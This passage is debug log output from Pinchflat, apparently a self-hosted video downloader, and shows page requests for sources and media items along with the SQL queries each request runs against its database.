m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.155 [info] Sent 200 in 15ms 21:43:11.281 [info] GET /sources/10/media/13812 21:43:11.282 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13812", "source_id" => "10"} Pipelines: [:browser] 21:43:11.283 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=134.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 21:43:11.285 [debug] QUERY OK source="sources" db=0.4ms idle=133.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.285 [debug] QUERY OK source="tasks" db=1.0ms idle=135.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13812] 21:43:11.286 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=133.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2311] 21:43:11.287 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=91.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.287 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.289 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.291 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.296 [info] Sent 200 in 14ms 21:43:11.334 [info] GET /sources/2 21:43:11.334 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:11.336 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=49.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.339 [debug] QUERY OK source="media_profiles" db=2.5ms queue=0.1ms idle=49.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:11.350 [debug] QUERY OK source="tasks" db=10.2ms queue=0.1ms idle=52.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 21:43:11.352 [info] GET /sources/6 21:43:11.352 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 21:43:11.354 [debug] QUERY OK source="oban_jobs" db=2.9ms queue=0.2ms idle=62.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 21:43:11.355 [debug] QUERY OK source="sources" db=2.5ms idle=62.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.356 [info] GET /sources/6/media/13821 21:43:11.356 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13821", "source_id" => "6"} Pipelines: [:browser] 21:43:11.356 [debug] QUERY OK source="settings" db=2.1ms idle=18.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.356 [debug] QUERY OK source="media_profiles" db=0.8ms idle=16.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.357 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13821] 21:43:11.357 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.358 [debug] QUERY OK source="tasks" db=1.1ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 21:43:11.359 [debug] QUERY OK source="settings" db=1.4ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.359 [debug] QUERY OK source="tasks" db=2.2ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13821] 21:43:11.359 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 21:43:11.361 [debug] QUERY OK source="sources" db=3.4ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.362 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.362 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.363 [debug] QUERY OK source="oban_jobs" db=2.4ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2316] 21:43:11.364 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.364 [debug] QUERY OK source="settings" db=0.8ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.364 [debug] QUERY OK source="settings" db=0.1ms queue=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.365 [debug] QUERY OK source="settings" db=0.3ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.366 [debug] QUERY OK source="settings" db=0.7ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.366 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 21:43:11.367 [info] GET /sources/7/media/14408 21:43:11.367 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14408", "source_id" => "7"} Pipelines: [:browser] 21:43:11.368 [debug] QUERY OK source="sources" db=1.3ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.369 [debug] QUERY OK source="media_profiles" db=1.9ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.369 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.369 [debug] QUERY OK source="media_items" db=1.8ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 21:43:11.370 [debug] QUERY OK source="media_items" db=2.4ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 21:43:11.371 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.371 [debug] QUERY OK source="sources" db=0.4ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:11.371 [debug] QUERY OK source="tasks" db=0.4ms idle=1.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14408] 21:43:11.371 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2349] 21:43:11.371 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.371 [debug] QUERY OK source="media_items" db=0.6ms idle=0.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 21:43:11.372 [debug] QUERY OK source="sources" db=0.3ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.373 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:43:11.374 [debug] QUERY OK source="media_items" db=1.4ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 21:43:11.373 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.377 [debug] QUERY OK source="media_items" db=1.7ms queue=0.8ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.378 [debug] QUERY OK source="settings" db=2.9ms queue=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.378 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.380 [debug] QUERY OK source="settings" db=0.8ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.380 [debug] QUERY OK source="sources" db=0.6ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 